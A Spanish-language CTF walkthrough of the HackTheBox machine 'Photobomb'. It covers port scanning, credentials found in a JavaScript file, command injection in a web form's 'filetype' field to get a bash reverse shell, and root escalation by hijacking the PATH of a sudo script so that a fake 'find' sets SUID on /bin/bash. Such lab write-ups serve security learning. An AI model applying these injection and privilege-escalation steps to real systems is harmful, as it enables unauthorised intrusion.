Resumen
Photobomb de la plataforma HackTheBox es una máquina Linux de dificultad Easy creada por slartibartfast.
Esta es una máquina realmente fácil en donde nos encontraremos una injección de comandos en su aplicación web, lo cual nos permitirá obtener una consola. Una vez dentro, podremos escalar privilegios abusando de un Path Hijacking en base a permisos asignados en sudo.
Enumeración
Nmap
Puertos 22/tcp
y 80/tcp
abiertos.
1
2
3
4
5
6
7
8
9
Nmap scan report for 10.129.228.60
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Inmediatamente vemos un redirect hacia el host photobomb.htb
. Lo agregaremos a /etc/hosts
80/tcp - HTTP
Vemos una web muy simple con un enlace que nos lleva a /printer
.
La ruta requiere autenticación. Por lo tanto, seguiremos buscando y en el código fuente de la raíz encontraremos un archivo javascript photobomb.js
.
Este archivo contiene credenciales.
1
2
3
4
5
6
7
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Si pegamos la URL http://pH0t0:b0Mb!@photobomb.htb/printer
en nuestro navegador ya nos llevará a /printer
autenticados.
User: wizard
La web tiene una herramienta para la descarga de imágenes. Si capturamos el request y lo enviamos a burp
veremos que data se está tramitando.
Generaremos un payload para reverse shell en bash con urlencoding con la herramienta rshellz. Utilizaremos la segunda opción.
Intentamos una injección de comandos en el campo filetype
pasándole el payload para la shell.
Recibimos un error 504
pero si vemos el listener habremos obtenido una shell como el usuario wizard.
1
2
3
4
5
6
~/scripts ❯ nc -nlvp 4646
Listening on 0.0.0.0 4646
Connection received on 10.129.228.60 41256
bash: cannot set terminal process group (698): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$
root
Una vez dentro, revisaremos los permisos sudo.
1
2
3
4
5
6
wizard@photobomb:/home/wizard/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
Podemos ejecutar como root el script /opt/cleanup.sh
sin contraseña y además setear una variable de entorno.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
wizard@photobomb:/home/wizard/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Revisamos el script e identificamos que el comando find
lo llama de forma relativa. Sabiendo esto, creamos nuestro propio find en la ruta /dev/shm
.
Podemos simplemente ejecutar una bash, o en este caso agregarle permisos suid
a /bin/bash
.
1
2
3
4
wizard@photobomb:/dev/shm$ chmod +x find
wizard@photobomb:/dev/shm$ cat find
#!/bin/bash
chmod u+s /bin/bash
Ahora solo queda ejecutar el script como root y alterando el PATH
para priorizar nuestro script.
1
wizard@photobomb:/dev/shm$ sudo PATH=/dev/shm:$PATH /opt/cleanup.sh
Una vez hecho esto ya podremos obtener una shell como root.
1
2
3
4
5
wizard@photobomb:/dev/shm$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
wizard@photobomb:/dev/shm$ bash -p
bash-5.0# whoami
root
Por último, para encontrar las flag, lo podemos hacer fácilmente con el binario original de find
.
1
2
3
bash-5.0# find / -type f -name "user.txt" -o -name "root.txt" 2>/dev/null
/home/wizard/user.txt
/root/root.txt